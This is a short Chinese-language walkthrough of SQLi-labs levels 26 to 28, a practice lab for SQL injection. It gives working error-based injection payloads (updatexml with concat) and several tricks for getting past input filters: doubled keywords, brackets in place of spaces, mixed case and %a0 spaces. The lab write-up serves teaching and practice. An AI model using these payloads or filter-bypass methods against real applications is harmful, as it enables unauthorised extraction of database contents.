Less-(26~28) preg_replace3
Less-26:
核心语句:
各种回显均存在。
本题相比Less-25,多屏蔽了很多符号;
首先是各种注释符 --+,#,/**/ 。 /[]/表示字符集合;任何出现在里面的字符均会被替换。
屏蔽{ / * \ }等比较特殊的字符时,需要加上转义符号。
/s 不是转义 而是匹配任何空白字符,包括空格、制表符、换页符等等。(它等价于 [ \f\n\r\t\v])
划重点,空格没了。
对于只屏蔽空格的地方,我们可以用 /**/ 代替空格,但是这题一下屏蔽到位了,所以只能换方法。
有没有注入方式,完全不需要空格呢?
union select和order by肯定不行了,这两个空格完全没办法避免。
其它地方的空格,尝试都用括号替代。
payload:?id=0'anandd(updatexml(1,concat(0x7e,(select(database()))),1))anandd'1'='1
?id=111'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))anandd'1'='1
Less-27:
依然是各种回显都有。
相比之前,取消了对and or的过滤,增加了对union和select的过滤。
s 和 m注释符 我暂时觉得没什么用。
这个过滤挺逊的:没有i注释符,所以更改下大小写就可绕过;虽然多过滤了几次,但依然没有递归过滤,多套娃几个select也行。union反正我们本来就不用,更不用管。
payload:?id=111'and(updatexml(1,concat(0x7e,(seLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1'='1
Less-28:
依然全回显。
直接搬来27的payload就行了:?id=111'and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1'='1
虽然$sql里多了小括号,但不知道什么原因,我本地跑还是对的。
严谨的说,111'后面加上小括号才能说得过去;那样的话,
payload变成?id=111')and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and('1')=('1
(PS:buuoj的Less-28无报错回显。人麻了。)
实际上,在这里空格可以使用 %a0 替换;原理我不知道。利用%a0替换,我们可以用union select完成Less-26~28以及26a、28a的注入。